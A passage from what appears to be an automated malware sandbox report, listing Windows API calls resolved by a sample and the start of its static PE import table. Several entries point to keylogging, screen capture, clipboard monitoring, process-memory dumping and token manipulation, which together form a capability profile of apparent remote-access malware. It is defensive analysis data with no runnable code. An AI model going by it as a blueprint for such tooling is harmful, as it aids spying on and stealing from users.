  883. "oleaut32.dll.#6",
  884. "oleaut32.dll.#2",
  885. "oleaut32.dll.#9",
  886. "shlwapi.dll.StrStrA",
  887. "kernel32.dll.InitializeCriticalSectionEx",
  888. "kernel32.dll.FlsAlloc",
  889. "kernel32.dll.FlsSetValue",
  890. "kernel32.dll.FlsGetValue",
  891. "kernel32.dll.LCMapStringEx",
  892. "kernel32.dll.SortGetHandle",
  893. "kernel32.dll.SortCloseHandle",
  894. "ole32.dll.OleInitialize",
  895. "cryptbase.dll.SystemFunction036",
  896. "uxtheme.dll.ThemeInitApiHook",
  897. "user32.dll.IsProcessDPIAware",
  898. "ole32.dll.CreateBindCtx",
  899. "ole32.dll.CoTaskMemAlloc",
  900. "propsys.dll.PSCreateMemoryPropertyStore",
  901. "propsys.dll.PSPropertyBag_WriteDWORD",
  902. "ole32.dll.CoGetApartmentType",
  903. "ole32.dll.CoRegisterInitializeSpy",
  904. "ole32.dll.CoTaskMemFree",
  905. "comctl32.dll.#236",
  906. "ole32.dll.CoGetMalloc",
  907. "propsys.dll.PSPropertyBag_ReadDWORD",
  908. "propsys.dll.PSPropertyBag_ReadGUID",
  909. "comctl32.dll.#320",
  910. "comctl32.dll.#324",
  911. "comctl32.dll.#323",
  912. "advapi32.dll.RegEnumKeyW",
  913. "advapi32.dll.OpenThreadToken",
  914. "apphelp.dll.ApphelpCheckShellObject",
  915. "urlmon.dll.CreateUri",
  916. "kernel32.dll.InitializeSRWLock",
  917. "kernel32.dll.AcquireSRWLockExclusive",
  918. "kernel32.dll.AcquireSRWLockShared",
  919. "kernel32.dll.ReleaseSRWLockExclusive",
  920. "kernel32.dll.ReleaseSRWLockShared",
  921. "comctl32.dll.#328",
  922. "comctl32.dll.#334",
  923. "shell32.dll.#102",
  924. "propsys.dll.PSPropertyBag_ReadStrAlloc",
  925. "setupapi.dll.CM_Get_Device_Interface_List_Size_ExW",
  926. "advapi32.dll.InitializeSecurityDescriptor",
  927. "advapi32.dll.SetEntriesInAclW",
  928. "ntmarta.dll.GetMartaExtensionInterface",
  929. "advapi32.dll.SetSecurityDescriptorDacl",
  930. "advapi32.dll.IsTextUnicode",
  931. "comctl32.dll.#332",
  932. "comctl32.dll.#338",
  933. "sechost.dll.ConvertSidToStringSidW",
  934. "propsys.dll.#430",
  935. "advapi32.dll.RegOpenKeyExW",
  936. "advapi32.dll.RegGetValueW",
  937. "setupapi.dll.CM_Get_Device_Interface_List_ExW",
  938. "ole32.dll.CoTaskMemRealloc",
  939. "propsys.dll.InitPropVariantFromStringAsVector",
  940. "propsys.dll.PSCoerceToCanonicalValue",
  941. "propsys.dll.PropVariantToStringAlloc",
  942. "ole32.dll.PropVariantClear",
  943. "ole32.dll.CoAllowSetForegroundWindow",
  944. "comctl32.dll.#386",
  945. "shell32.dll.SHGetFolderPathW",
  946. "advapi32.dll.SaferGetPolicyInformation",
  947. "ntdll.dll.RtlDllShutdownInProgress",
  948. "comctl32.dll.#329",
  949. "ole32.dll.OleUninitialize",
  950. "ole32.dll.CoRevokeInitializeSpy",
  951. "comctl32.dll.#388",
  952. "oleaut32.dll.#500",
  953. "wininet.dll.InternetReadFile",
  954. "rasapi32.dll.RasConnectionNotificationW",
  955. "sechost.dll.NotifyServiceStatusChangeA",
  956. "rpcrt4.dll.RpcBindingFree",
  957. "advapi32.dll.UnregisterTraceGuids",
  958. "comctl32.dll.#321",
  959. "cscapi.dll.CscNetApiGetInterface",
  960. "advapi32.dll.LsaOpenPolicy",
  961. "advapi32.dll.LsaQueryInformationPolicy",
  962. "netutils.dll.NetApiBufferAllocate",
  963. "advapi32.dll.LsaFreeMemory",
  964. "advapi32.dll.LsaClose",
  965. "netutils.dll.NetApiBufferFree",
  966. "kernel32.dll.SetThreadUILanguage",
  967. "kernel32.dll.CopyFileExW",
  968. "kernel32.dll.SetConsoleInputExeNameW",
  969. "rpcrt4.dll.I_RpcSNCHOption",
  970. "sechost.dll.OpenSCManagerW",
  971. "sechost.dll.OpenServiceW",
  972. "sechost.dll.CloseServiceHandle",
  973. "sechost.dll.ControlService",
  974. "sechost.dll.QueryServiceStatus",
  975. "sechost.dll.StartServiceW",
  976. "secur32.dll.GetUserNameExW",
  977. "secur32.dll.InitializeSecurityContextW",
  978. "secur32.dll.FreeCredentialsHandle",
  979. "secur32.dll.AcquireCredentialsHandleW",
  980. "secur32.dll.QuerySecurityPackageInfoW",
  981. "secur32.dll.CompleteAuthToken",
  982. "secur32.dll.FreeContextBuffer",
  983. "secur32.dll.GetUserNameExA",
  984. "winscard.dll.SCardEstablishContext",
  985. "winscard.dll.SCardReleaseContext",
  986. "winscard.dll.SCardGetStatusChangeW",
  987. "winscard.dll.SCardListReadersW",
  988. "ws2_32.dll.#9",
  989. "ws2_32.dll.freeaddrinfo",
  990. "ws2_32.dll.#21",
  991. "ws2_32.dll.#19",
  992. "ws2_32.dll.#16",
  993. "ws2_32.dll.#10",
  994. "ws2_32.dll.#111",
  995. "ws2_32.dll.#116",
  996. "ws2_32.dll.#115",
  997. "ws2_32.dll.#151",
  998. "ws2_32.dll.#4",
  999. "ws2_32.dll.#23",
  1000. "ws2_32.dll.#11",
  1001. "ws2_32.dll.WSAIoctl",
  1002. "ws2_32.dll.#3",
  1003. "ws2_32.dll.getaddrinfo",
  1004. "ws2_32.dll.#18",
  1005. "userenv.dll.CreateEnvironmentBlock",
  1006. "userenv.dll.DestroyEnvironmentBlock",
  1007. "dbghelp.dll.MiniDumpWriteDump",
  1008. "wtsapi32.dll.WTSEnumerateSessionsW",
  1009. "ole32.dll.CoSetProxyBlanket",
  1010. "kernel32.dll.TryEnterCriticalSection",
  1011. "kernel32.dll.SizeofResource",
  1012. "kernel32.dll.InitAtomTable",
  1013. "kernel32.dll.SetHandleCount",
  1014. "kernel32.dll.LoadModule",
  1015. "kernel32.dll.ClearCommError",
  1016. "kernel32.dll.GetCommConfig",
  1017. "kernel32.dll.GetCommMask",
  1018. "kernel32.dll.TransmitCommChar",
  1019. "kernel32.dll.GetTapeParameters",
  1020. "kernel32.dll.MulDiv",
  1021. "kernel32.dll.GetSystemTime",
  1022. "kernel32.dll.GetTimeZoneInformation",
  1023. "kernel32.dll.CompareFileTime",
  1024. "kernel32.dll.DosDateTimeToFileTime",
  1025. "kernel32.dll.GetTickCount",
  1026. "kernel32.dll.GetNamedPipeInfo",
  1027. "kernel32.dll.UnmapViewOfFile",
  1028. "kernel32.dll.lstrcmpiA",
  1029. "kernel32.dll.lstrcpyW",
  1030. "kernel32.dll.lstrcatW",
  1031. "kernel32.dll.lstrlenW",
  1032. "kernel32.dll._lcreat",
  1033. "kernel32.dll.CreateMutexA",
  1034. "kernel32.dll.CreateMutexW",
  1035. "kernel32.dll.CreateEventA",
  1036. "kernel32.dll.CreateEventW",
  1037. "kernel32.dll.OpenSemaphoreW",
  1038. "kernel32.dll.OpenWaitableTimerW",
  1039. "kernel32.dll.CancelWaitableTimer",
  1040. "kernel32.dll.LoadLibraryW",
  1041. "kernel32.dll.GetStartupInfoA",
  1042. "kernel32.dll.GetProfileIntW",
  1043. "kernel32.dll.WriteProfileStringW",
  1044. "kernel32.dll.GetPrivateProfileStringW",
  1045. "kernel32.dll.GetPrivateProfileSectionW",
  1046. "kernel32.dll.GetDriveTypeA",
  1047. "kernel32.dll.GetDriveTypeW",
  1048. "kernel32.dll.GetSystemDirectoryA",
  1049. "kernel32.dll.GetTempFileNameA",
  1050. "kernel32.dll.GetSystemWindowsDirectoryA",
  1051. "kernel32.dll.GetCurrentDirectoryA",
  1052. "kernel32.dll.GetDllDirectoryA",
  1053. "kernel32.dll.GetDllDirectoryW",
  1054. "kernel32.dll.GetDiskFreeSpaceA",
  1055. "kernel32.dll.RemoveDirectoryW",
  1056. "kernel32.dll.GetFullPathNameA",
  1057. "kernel32.dll.DefineDosDeviceW",
  1058. "kernel32.dll.GetFileAttributesA",
  1059. "kernel32.dll.GetFileAttributesW",
  1060. "kernel32.dll.GetFileAttributesExA",
  1061. "kernel32.dll.FindFirstFileA",
  1062. "kernel32.dll.SearchPathA",
  1063. "kernel32.dll.SearchPathW",
  1064. "kernel32.dll.CopyFileExA",
  1065. "kernel32.dll.ReplaceFileW",
  1066. "kernel32.dll.GetDefaultCommConfigA",
  1067. "kernel32.dll.DebugActiveProcessStop",
  1068. "kernel32.dll.CancelTimerQueueTimer",
  1069. "kernel32.dll.VerifyVersionInfoW",
  1070. "kernel32.dll.OpenJobObjectA",
  1071. "kernel32.dll.DeleteVolumeMountPointA",
  1072. "kernel32.dll.DeleteVolumeMountPointW",
  1073. "kernel32.dll.GetVolumeNameForVolumeMountPointW",
  1074. "kernel32.dll.GetVolumePathNamesForVolumeNameA",
  1075. "kernel32.dll.GetCurrentActCtx",
  1076. "kernel32.dll.FindActCtxSectionGuid",
  1077. "kernel32.dll.CompareStringA",
  1078. "kernel32.dll.GetCalendarInfoA",
  1079. "kernel32.dll.GetTimeFormatW",
  1080. "kernel32.dll.IsValidLocale",
  1081. "kernel32.dll.GetGeoInfoA",
  1082. "kernel32.dll.GetThreadLocale",
  1083. "kernel32.dll.GetUserDefaultLCID",
  1084. "kernel32.dll.WriteConsoleOutputCharacterW",
  1085. "kernel32.dll.FillConsoleOutputCharacterW",
  1086. "kernel32.dll.GetConsoleFontSize",
  1087. "kernel32.dll.SetConsoleCtrlHandler",
  1088. "kernel32.dll.GetSystemDirectoryW",
  1089. "kernel32.dll.WaitNamedPipeW",
  1090. "kernel32.dll.GetExitCodeProcess",
  1091. "kernel32.dll.lstrcmpiW",
  1092. "kernel32.dll.GetModuleFileNameW",
  1093. "kernel32.dll.LockResource",
  1094. "kernel32.dll.LoadResource",
  1095. "kernel32.dll.FindResourceW",
  1096. "kernel32.dll.SetHandleInformation",
  1097. "kernel32.dll.ExpandEnvironmentStringsW",
  1098. "kernel32.dll.PeekNamedPipe",
  1099. "kernel32.dll.GetTimeFormatA",
  1100. "kernel32.dll.FreeResource",
  1101. "kernel32.dll.GetDateFormatA",
  1102. "kernel32.dll.MoveFileExW",
  1103. "kernel32.dll.CreateProcessW",
  1104. "kernel32.dll.GlobalLock",
  1105. "kernel32.dll.InterlockedIncrement",
  1106. "kernel32.dll.GlobalUnlock",
  1107. "kernel32.dll.CreateDirectoryW",
  1108. "kernel32.dll.GetFileSizeEx",
  1109. "kernel32.dll.DeleteFileW",
  1110. "kernel32.dll.MoveFileW",
  1111. "kernel32.dll.CreateToolhelp32Snapshot",
  1112. "kernel32.dll.Process32NextW",
  1113. "kernel32.dll.Process32FirstW",
  1114. "kernel32.dll.lstrcmpW",
  1115. "kernel32.dll.SetFileTime",
  1116. "kernel32.dll.ProcessIdToSessionId",
  1117. "kernel32.dll.SleepEx",
  1118. "kernel32.dll.GetFileTime",
  1119. "kernel32.dll.GetLogicalDrives",
  1120. "kernel32.dll.FindFirstFileW",
  1121. "kernel32.dll.FindNextFileW",
  1122. "kernel32.dll.SetFileAttributesW",
  1123. "kernel32.dll.QueryPerformanceFrequency",
  1124. "kernel32.dll.OpenEventW",
  1125. "kernel32.dll.SetEvent",
  1126. "kernel32.dll.LocalAlloc",
  1127. "kernel32.dll.FileTimeToSystemTime",
  1128. "kernel32.dll.GetSystemInfo",
  1129. "kernel32.dll.GetComputerNameW",
  1130. "kernel32.dll.GetComputerNameA",
  1131. "kernel32.dll.SetThreadPriority",
  1132. "kernel32.dll.ResumeThread",
  1133. "kernel32.dll.CreateSemaphoreW",
  1134. "kernel32.dll.CheckRemoteDebuggerPresent",
  1135. "kernel32.dll.QueueUserAPC",
  1136. "kernel32.dll.GetQueuedCompletionStatus",
  1137. "kernel32.dll.GetThreadSelectorEntry",
  1138. "kernel32.dll.TerminateThread",
  1139. "kernel32.dll.GetThreadIOPendingFlag",
  1140. "kernel32.dll.RequestWakeupLatency",
  1141. "kernel32.dll.CreateThread",
  1142. "kernel32.dll.ConvertFiberToThread",
  1143. "kernel32.dll.FreeEnvironmentStringsA",
  1144. "kernel32.dll.GetBinaryTypeA",
  1145. "kernel32.dll.HeapCreate",
  1146. "kernel32.dll.VirtualQueryEx",
  1147. "kernel32.dll.LocalSize",
  1148. "kernel32.dll.LocalReAlloc",
  1149. "kernel32.dll.GlobalMemoryStatus",
  1150. "kernel32.dll.GlobalSize",
  1151. "kernel32.dll.GlobalReAlloc",
  1152. "kernel32.dll.GetVersion",
  1153. "kernel32.dll.RtlCaptureContext",
  1154. "kernel32.dll.InitializeCriticalSection",
  1155. "kernel32.dll.DebugBreakProcess",
  1156. "kernel32.dll.CompareStringW",
  1157. "kernel32.dll.GetLocaleInfoW",
  1158. "kernel32.dll.WaitForSingleObjectEx",
  1159. "kernel32.dll.FreeLibraryAndExitThread",
  1160. "kernel32.dll.EnumSystemLocalesW",
  1161. "kernel32.dll.ReadConsoleW",
  1162. "kernel32.dll.SetEnvironmentVariableA",
  1163. "kernel32.dll.GetComputerNameExW",
  1164. "user32.dll.GetWindowRect",
  1165. "user32.dll.GetWindowLongW",
  1166. "user32.dll.OpenDesktopW",
  1167. "user32.dll.FindWindowW",
  1168. "user32.dll.PostMessageW",
  1169. "user32.dll.GetDC",
  1170. "user32.dll.IntersectRect",
  1171. "user32.dll.EnumWindows",
  1172. "user32.dll.IsWindowVisible",
  1173. "user32.dll.MessageBoxA",
  1174. "user32.dll.DestroyWindow",
  1175. "user32.dll.CreateWindowExW",
  1176. "user32.dll.RegisterClassExW",
  1177. "user32.dll.GetMessageW",
  1178. "user32.dll.SetTimer",
  1179. "user32.dll.PostThreadMessageW",
  1180. "user32.dll.SetWinEventHook",
  1181. "user32.dll.SystemParametersInfoW",
  1182. "user32.dll.WinHelpW",
  1183. "user32.dll.TranslateMDISysAccel",
  1184. "user32.dll.DefFrameProcW",
  1185. "user32.dll.IsDialogMessageW",
  1186. "user32.dll.LoadStringW",
  1187. "user32.dll.LoadStringA",
  1188. "user32.dll.LoadIconA",
  1189. "user32.dll.DestroyCursor",
  1190. "user32.dll.GetWindowThreadProcessId",
  1191. "user32.dll.FindWindowA",
  1192. "user32.dll.IsRectEmpty",
  1193. "user32.dll.InflateRect",
  1194. "user32.dll.GetSysColorBrush",
  1195. "user32.dll.HideCaret",
  1196. "user32.dll.GetCaretBlinkTime",
  1197. "user32.dll.SetCursor",
  1198. "user32.dll.SetWindowTextA",
  1199. "user32.dll.GetScrollPos",
  1200. "user32.dll.GetCursorInfo",
  1201. "user32.dll.ScrollDC",
  1202. "user32.dll.EqualRect",
  1203. "user32.dll.SetActiveWindow",
  1204. "user32.dll.UpdateWindow",
  1205. "user32.dll.DrawTextW",
  1206. "user32.dll.DrawTextA",
  1207. "user32.dll.GetMenuItemCount",
  1208. "user32.dll.GetSubMenu",
  1209. "user32.dll.EnableMenuItem",
  1210. "user32.dll.DestroyMenu",
  1211. "user32.dll.GetSystemMenu",
  1212. "user32.dll.SetMenu",
  1213. "user32.dll.LoadMenuIndirectW",
  1214. "user32.dll.TranslateAcceleratorA",
  1215. "user32.dll.IsWindowEnabled",
  1216. "user32.dll.EnableWindow",
  1217. "user32.dll.MsgWaitForMultipleObjects",
  1218. "user32.dll.SetFocus",
  1219. "user32.dll.IsCharUpperW",
  1220. "user32.dll.CharNextA",
  1221. "user32.dll.IsDlgButtonChecked",
  1222. "user32.dll.GetDlgItemTextW",
  1223. "user32.dll.GetDlgItemTextA",
  1224. "user32.dll.GetDlgItem",
  1225. "user32.dll.DialogBoxParamW",
  1226. "user32.dll.CreateDialogParamW",
  1227. "user32.dll.IsZoomed",
  1228. "user32.dll.AnyPopup",
  1229. "user32.dll.BeginDeferWindowPos",
  1230. "user32.dll.IsWindow",
  1231. "user32.dll.InSendMessage",
  1232. "user32.dll.CallWindowProcW",
  1233. "user32.dll.DefWindowProcW",
  1234. "user32.dll.DefWindowProcA",
  1235. "user32.dll.AttachThreadInput",
  1236. "user32.dll.SendMessageA",
  1237. "user32.dll.PeekMessageW",
  1238. "user32.dll.PeekMessageA",
  1239. "user32.dll.GetMessageA",
  1240. "user32.dll.ChangeClipboardChain",
  1241. "user32.dll.CloseClipboard",
  1242. "user32.dll.EmptyClipboard",
  1243. "user32.dll.OpenInputDesktop",
  1244. "user32.dll.SetClipboardData",
  1245. "user32.dll.GetUserObjectInformationW",
  1246. "user32.dll.SetClipboardViewer",
  1247. "user32.dll.GetClipboardOwner",
  1248. "user32.dll.GetIconInfo",
  1249. "user32.dll.SendMessageW",
  1250. "user32.dll.GetThreadDesktop",
  1251. "user32.dll.CloseDesktop",
  1252. "user32.dll.OpenClipboard",
  1253. "user32.dll.ReleaseDC",
  1254. "user32.dll.DispatchMessageW",
  1255. "user32.dll.SetWindowLongW",
  1256. "user32.dll.PostQuitMessage",
  1257. "user32.dll.GetCursorPos",
  1258. "user32.dll.VkKeyScanExW",
  1259. "user32.dll.MapVirtualKeyW",
  1260. "user32.dll.GetAsyncKeyState",
  1261. "user32.dll.LoadKeyboardLayoutW",
  1262. "user32.dll.SendMessageTimeoutW",
  1263. "user32.dll.keybd_event",
  1264. "user32.dll.GetSystemMetrics",
  1265. "user32.dll.SetThreadDesktop",
  1266. "user32.dll.GetKeyboardState",
  1267. "user32.dll.ExitWindowsEx",
  1268. "user32.dll.SetScrollPos",
  1269. "user32.dll.mouse_event",
  1270. "gdi32.dll.CreateCompatibleDC",
  1271. "gdi32.dll.CreateCompatibleBitmap",
  1272. "gdi32.dll.BitBlt",
  1273. "gdi32.dll.SelectObject",
  1274. "gdi32.dll.CreateDIBSection",
  1275. "gdi32.dll.GdiFlush",
  1276. "gdi32.dll.RealizePalette",
  1277. "gdi32.dll.GetDIBits",
  1278. "gdi32.dll.GetDeviceCaps",
  1279. "gdi32.dll.GetSystemPaletteEntries",
  1280. "gdi32.dll.DeleteDC",
  1281. "gdi32.dll.CreatePalette",
  1282. "gdi32.dll.CreateRectRgnIndirect",
  1283. "gdi32.dll.GetRegionData",
  1284. "gdi32.dll.CombineRgn",
  1285. "gdi32.dll.GetBitmapBits",
  1286. "gdi32.dll.GetObjectW",
  1287. "gdi32.dll.DeleteObject",
  1288. "gdi32.dll.LPtoDP",
  1289. "gdi32.dll.ExtTextOutA",
  1290. "gdi32.dll.SetAbortProc",
  1291. "gdi32.dll.StartPage",
  1292. "gdi32.dll.StartDocW",
  1293. "gdi32.dll.UpdateColors",
  1294. "gdi32.dll.StretchBlt",
  1295. "gdi32.dll.SelectPalette",
  1296. "gdi32.dll.GetPaletteEntries",
  1297. "gdi32.dll.GetMetaFileW",
  1298. "gdi32.dll.Escape",
  1299. "gdi32.dll.EqualRgn",
  1300. "gdi32.dll.Ellipse",
  1301. "gdi32.dll.CreateRectRgn",
  1302. "gdi32.dll.CreateFontIndirectA",
  1303. "comdlg32.dll.GetFileTitleW",
  1304. "comdlg32.dll.GetSaveFileNameW",
  1305. "comdlg32.dll.GetSaveFileNameA",
  1306. "comdlg32.dll.GetOpenFileNameW",
  1307. "comdlg32.dll.ReplaceTextW",
  1308. "comdlg32.dll.FindTextW",
  1309. "comdlg32.dll.FindTextA",
  1310. "advapi32.dll.RegDeleteKeyA",
  1311. "advapi32.dll.CloseServiceHandle",
  1312. "advapi32.dll.OpenSCManagerW",
  1313. "advapi32.dll.DeleteService",
  1314. "advapi32.dll.ControlService",
  1315. "advapi32.dll.StartServiceW",
  1316. "advapi32.dll.EnumServicesStatusExW",
  1317. "advapi32.dll.QueryServiceConfigW",
  1318. "advapi32.dll.OpenServiceW",
  1319. "advapi32.dll.ConvertSidToStringSidW",
  1320. "advapi32.dll.GetTokenInformation",
  1321. "advapi32.dll.RegisterServiceCtrlHandlerExW",
  1322. "advapi32.dll.SetTokenInformation",
  1323. "advapi32.dll.SetServiceStatus",
  1324. "advapi32.dll.CreateProcessAsUserW",
  1325. "advapi32.dll.StartServiceCtrlDispatcherW",
  1326. "advapi32.dll.DuplicateTokenEx",
  1327. "advapi32.dll.RegSetValueExA",
  1328. "advapi32.dll.RegQueryValueExA",
  1329. "advapi32.dll.OpenSCManagerA",
  1330. "advapi32.dll.RegRestoreKeyW",
  1331. "advapi32.dll.RegOpenKeyA",
  1332. "advapi32.dll.RegNotifyChangeKeyValue",
  1333. "advapi32.dll.RegDeleteValueW",
  1334. "advapi32.dll.RegCreateKeyA",
  1335. "advapi32.dll.OpenProcessToken",
  1336. "advapi32.dll.CreateServiceW",
  1337. "advapi32.dll.InitiateSystemShutdownExW",
  1338. "advapi32.dll.AdjustTokenPrivileges",
  1339. "advapi32.dll.LookupPrivilegeValueW",
  1340. "advapi32.dll.ImpersonateLoggedOnUser",
  1341. "advapi32.dll.RevertToSelf",
  1342. "advapi32.dll.AccessCheck",
  1343. "advapi32.dll.SetSecurityDescriptorOwner",
  1344. "advapi32.dll.AllocateAndInitializeSid",
  1345. "advapi32.dll.GetSidSubAuthority",
  1346. "advapi32.dll.IsValidSecurityDescriptor",
  1347. "advapi32.dll.FreeSid",
  1348. "advapi32.dll.InitializeAcl",
  1349. "advapi32.dll.DuplicateToken",
  1350. "advapi32.dll.GetLengthSid",
  1351. "advapi32.dll.AddAccessAllowedAce",
  1352. "advapi32.dll.SetSecurityDescriptorGroup",
  1353. "advapi32.dll.QueryServiceStatus",
  1354. "advapi32.dll.RegCreateKeyExA",
  1355. "advapi32.dll.RegOpenKeyExA",
  1356. "advapi32.dll.RegCreateKeyExW",
  1357. "advapi32.dll.RegQueryValueExW",
  1358. "advapi32.dll.RegEnumKeyExW",
  1359. "shell32.dll.SHGetSpecialFolderPathW",
  1360. "shell32.dll.ShellExecuteW",
  1361. "shell32.dll.ShellAboutW",
  1362. "kernel32.dll.FlsFree",
  1363. "kernel32.dll.InitOnceExecuteOnce",
  1364. "kernel32.dll.CreateEventExW",
  1365. "kernel32.dll.CreateSemaphoreExW",
  1366. "kernel32.dll.CreateThreadpoolTimer",
  1367. "kernel32.dll.SetThreadpoolTimer",
  1368. "kernel32.dll.WaitForThreadpoolTimerCallbacks",
  1369. "kernel32.dll.CloseThreadpoolTimer",
  1370. "kernel32.dll.CreateThreadpoolWait",
  1371. "kernel32.dll.SetThreadpoolWait",
  1372. "kernel32.dll.CloseThreadpoolWait",
  1373. "kernel32.dll.FlushProcessWriteBuffers",
  1374. "kernel32.dll.FreeLibraryWhenCallbackReturns",
  1375. "kernel32.dll.GetCurrentProcessorNumber",
  1376. "kernel32.dll.CreateSymbolicLinkW",
  1377. "kernel32.dll.GetTickCount64",
  1378. "kernel32.dll.GetFileInformationByHandleEx",
  1379. "kernel32.dll.SetFileInformationByHandle",
  1380. "kernel32.dll.InitializeConditionVariable",
  1381. "kernel32.dll.WakeConditionVariable",
  1382. "kernel32.dll.WakeAllConditionVariable",
  1383. "kernel32.dll.SleepConditionVariableCS",
  1384. "kernel32.dll.TryAcquireSRWLockExclusive",
  1385. "kernel32.dll.SleepConditionVariableSRW",
  1386. "kernel32.dll.CreateThreadpoolWork",
  1387. "kernel32.dll.SubmitThreadpoolWork",
  1388. "kernel32.dll.CloseThreadpoolWork",
  1389. "kernel32.dll.CompareStringEx",
  1390. "kernel32.dll.GetLocaleInfoEx",
  1391. "api-ms-win-core-synch-l1-2-0.dll.InitializeConditionVariable",
  1392. "api-ms-win-core-synch-l1-2-0.dll.SleepConditionVariableCS",
  1393. "api-ms-win-core-synch-l1-2-0.dll.WakeAllConditionVariable",
  1394. "kernel32.dll.WTSGetActiveConsoleSessionId",
  1395. "ntdll.dll.RtlGetVersion",
  1396. "dwmapi.dll.DwmIsCompositionEnabled",
  1397. "kbdus.dll.#1",
  1398. "kernel32.dll.GetNativeSystemInfo",
  1399. "sechost.dll.LookupAccountNameLocalW",
  1400. "advapi32.dll.LookupAccountSidW",
  1401. "sechost.dll.LookupAccountSidLocalW",
  1402. "kernel32.dll.GetThreadPreferredUILanguages",
  1403. "kernel32.dll.SetThreadPreferredUILanguages",
  1404. "kernel32.dll.LocaleNameToLCID",
  1405. "kernel32.dll.LCIDToLocaleName",
  1406. "kernel32.dll.GetSystemDefaultLocaleName",
  1407. "oleaut32.dll.#283",
  1408. "oleaut32.dll.#284",
  1409. "kernel32.dll.RegOpenKeyExW",
  1410. "ntdll.dll.EtwUnregisterTraceGuids",
  1411. "sechost.dll.QueryServiceConfigW",
  1412. "winsta.dll.WinStationRegisterNotificationEvent",
  1413. "advapi32.dll.CreateWellKnownSid",
  1414. "rpcrt4.dll.RpcStringBindingComposeW",
  1415. "rpcrt4.dll.RpcBindingFromStringBindingW",
  1416. "rpcrt4.dll.RpcStringFreeW",
  1417. "rpcrt4.dll.RpcBindingSetAuthInfoExW",
  1418. "rpcrt4.dll.RpcAsyncInitializeHandle",
  1419. "rpcrt4.dll.NdrClientCall2",
  1420. "rpcrt4.dll.NdrAsyncClientCall",
  1421. "winsta.dll.WinStationIsSessionRemoteable",
  1422. "wtsapi32.dll.WTSQuerySessionInformationW",
  1423. "winsta.dll.WinStationQueryInformationW",
  1424. "rpcrt4.dll.I_RpcExceptionFilter",
  1425. "wtsapi32.dll.WTSFreeMemory",
  1426. "wbemcore.dll.Reinitialize",
  1427. "tschannel.dll.DllGetClassObject",
  1428. "tschannel.dll.DllCanUnloadNow",
  1429. "advapi32.dll.CryptAcquireContextW",
  1430. "shlwapi.dll.PathIsDirectoryW",
  1431. "sspicli.dll.GetUserNameExW",
  1432. "cryptsp.dll.CryptAcquireContextW",
  1433. "cryptsp.dll.CryptGenRandom",
  1434. "ole32.dll.NdrOleInitializeExtension",
  1435. "ole32.dll.CoGetClassObject",
  1436. "ole32.dll.CoGetMarshalSizeMax",
  1437. "ole32.dll.CoMarshalInterface",
  1438. "ole32.dll.CoUnmarshalInterface",
  1439. "ole32.dll.StringFromIID",
  1440. "ole32.dll.CoGetPSClsid",
  1441. "ole32.dll.CoReleaseMarshalData",
  1442. "ole32.dll.DcomChannelSetHResult",
  1443. "rpcrtremote.dll.I_RpcExtInitializeExtensionPoint",
  1444. "ole32.dll.CLSIDFromOle1Class",
  1445. "clbcatq.dll.GetCatalogObject",
  1446. "clbcatq.dll.GetCatalogObject2",
  1447. "shlwapi.dll.PathIsPrefixW",
  1448. "advapi32.dll.CryptCreateHash",
  1449. "advapi32.dll.CryptGetHashParam",
  1450. "cryptsp.dll.CryptGetHashParam",
  1451. "advapi32.dll.CryptHashData",
  1452. "cryptsp.dll.CryptHashData",
  1453. "advapi32.dll.CryptDestroyHash",
  1454. "cryptsp.dll.CryptDestroyHash",
  1455. "xmllite.dll.CreateXmlReader",
  1456. "advapi32.dll.CryptReleaseContext",
  1457. "cryptsp.dll.CryptReleaseContext",
  1458. "kernel32.dll.CreateActCtxW",
  1459. "kernel32.dll.ReleaseActCtx",
  1460. "kernel32.dll.ActivateActCtx",
  1461. "kernel32.dll.DeactivateActCtx",
  1462. "user32.dll.NotifyWinEvent",
  1463. "kernel32.dll.GetUserDefaultUILanguage",
  1464. "kernel32.dll.GetSystemDefaultUILanguage",
  1465. "kernel32.dll.FindActCtxSectionStringW",
  1466. "cryptbase.dll.SystemFunction041"
  1467. ]
  1468.  
  1469. [*] Static Analysis: {
  1470. "pe": {
  1471. "peid_signatures": null,
  1472. "imports": [
  1473. {
  1474. "imports": [
  1475. {
  1476. "name": "GetCurrentThread",
  1477. "address": "0x408014"
  1478. },
  1479. {
  1480. "name": "GetTickCount",
  1481. "address": "0x408018"
  1482. },
  1483. {
  1484. "name": "GetProcAddress",
  1485. "address": "0x40801c"
  1486. },
  1487. {
  1488. "name": "LoadLibraryA",
  1489. "address": "0x408020"
  1490. },
  1491. {
  1492. "name": "GetLastError",
  1493. "address": "0x408024"
  1494. },
  1495. {
  1496. "name": "InterlockedDecrement",
  1497. "address": "0x408028"
  1498. },
  1499. {
  1500. "name": "VirtualAllocEx",
  1501. "address": "0x40802c"
  1502. },
  1503. {
  1504. "name": "GetProcessHeap",
  1505. "address": "0x408030"
  1506. },
  1507. {
  1508. "name": "InterlockedIncrement",
  1509. "address": "0x408034"
  1510. },
  1511. {
  1512. "name": "lstrlenA",
  1513. "address": "0x408038"
  1514. },
  1515. {
  1516. "name": "GetVersionExA",
  1517. "address": "0x40803c"
  1518. },
  1519. {
  1520. "name": "GetVersionExW",
  1521. "address": "0x408040"
  1522. },
  1523. {
  1524. "name": "GetOEMCP",
  1525. "address": "0x408044"
  1526. },
  1527. {
  1528. "name": "GetModuleHandleA",
  1529. "address": "0x408048"
  1530. },
  1531. {
  1532. "name": "GetCommandLineW",
  1533. "address": "0x40804c"
  1534. },
  1535. {
  1536. "name": "GetCurrentProcess",
  1537. "address": "0x408050"
  1538. },
  1539. {
  1540. "name": "GetCommandLineA",
  1541. "address": "0x408054"
  1542. },
  1543. {
  1544. "name": "GetStartupInfoW",
  1545. "address": "0x408058"
  1546. }
  1547. ],
  1548. "dll": "KERNEL32.dll"
  1549. },
  1550. {
  1551. "imports": [
  1552. {
  1553. "name": "LoadIconA",
  1554. "address": "0x408060"
  1555. },
  1556. {
  1557. "name": "SetWindowLongW",
  1558. "address": "0x408064"
  1559. },
  1560. {
  1561. "name": "SetWindowTextW",
  1562. "address": "0x408068"
  1563. },
  1564. {
  1565. "name": "DefWindowProcW",
  1566. "address": "0x40806c"
  1567. },
  1568. {
  1569. "name": "PostMessageW",
  1570. "address": "0x408070"
  1571. },
  1572. {
  1573. "name": "RegisterClassW",
  1574. "address": "0x408074"
  1575. },
  1576. {
  1577. "name": "SendMessageW",
  1578. "address": "0x408078"
  1579. },
  1580. {
  1581. "name": "DestroyWindow",
  1582. "address": "0x40807c"
  1583. },
  1584. {
  1585. "name": "CreateWindowExA",
  1586. "address": "0x408080"
  1587. },
  1588. {
  1589. "name": "CreateWindowExW",
  1590. "address": "0x408084"
  1591. },
  1592. {
  1593. "name": "UnregisterClassA",
